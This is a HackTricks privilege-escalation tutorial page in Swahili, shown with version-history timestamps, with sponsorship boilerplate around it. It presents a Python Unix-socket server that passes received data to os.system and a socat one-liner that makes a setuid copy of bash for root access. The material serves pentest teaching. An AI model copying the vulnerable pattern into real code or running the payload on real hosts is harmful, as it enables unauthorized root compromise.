hacktricks/linux-hardening/privilege-escalation/socket-command-injection.md

68 lines
3.7 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inayotangazwa katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Mfano wa kufunga soketi na Python
2020-08-25 22:42:49 +00:00
2024-02-11 02:13:58 +00:00
Katika mfano ufuatao, **soketi ya unix inaundwa** (`/tmp/socket_test.s`) na kila kitu **kilichopokelewa** kitatekelezwa na `os.system`. Najua kuwa hautapata hii katika mazingira ya kawaida, lakini lengo la mfano huu ni kuona jinsi namna ya kificho inavyoonekana ikitumia soketi za unix, na jinsi ya kusimamia kuingiza kwa hali mbaya kabisa.
2020-08-25 22:42:49 +00:00
{% code title="s.py" %}
```python
import socket
import os, os.path
import time
2024-02-11 02:13:58 +00:00
from collections import deque
2020-08-25 22:42:49 +00:00
if os.path.exists("/tmp/socket_test.s"):
2024-02-11 02:13:58 +00:00
os.remove("/tmp/socket_test.s")
2020-08-25 22:42:49 +00:00
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
2020-08-26 16:58:34 +00:00
os.system("chmod o+w /tmp/socket_test.s")
2020-08-25 22:42:49 +00:00
while True:
2024-02-11 02:13:58 +00:00
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
2020-08-25 22:42:49 +00:00
```
{% endcode %}
2024-02-11 02:13:58 +00:00
**Tekeleza** kificho kwa kutumia python: `python s.py` na **angalia jinsi soketi inavyosikiliza**:
2020-08-25 22:42:49 +00:00
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
2024-02-11 02:13:58 +00:00
will not be shown, you would have to be root to see it all.)
2020-08-25 22:42:49 +00:00
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
2024-02-11 02:13:58 +00:00
**Kuathiri**
2020-08-25 22:42:49 +00:00
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>